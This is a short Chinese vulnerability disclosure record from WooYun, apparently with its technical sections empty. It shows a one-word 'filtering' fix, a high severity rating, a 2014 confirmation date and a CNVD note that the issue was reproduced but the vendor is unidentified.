漏洞证明:

详细说明

修复方案:

过滤

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2014-08-04 10:40

厂商回复:

CNVD确认并复现所述情况,暂未确认软件生产厂商,待认领。

最新状态:

暂无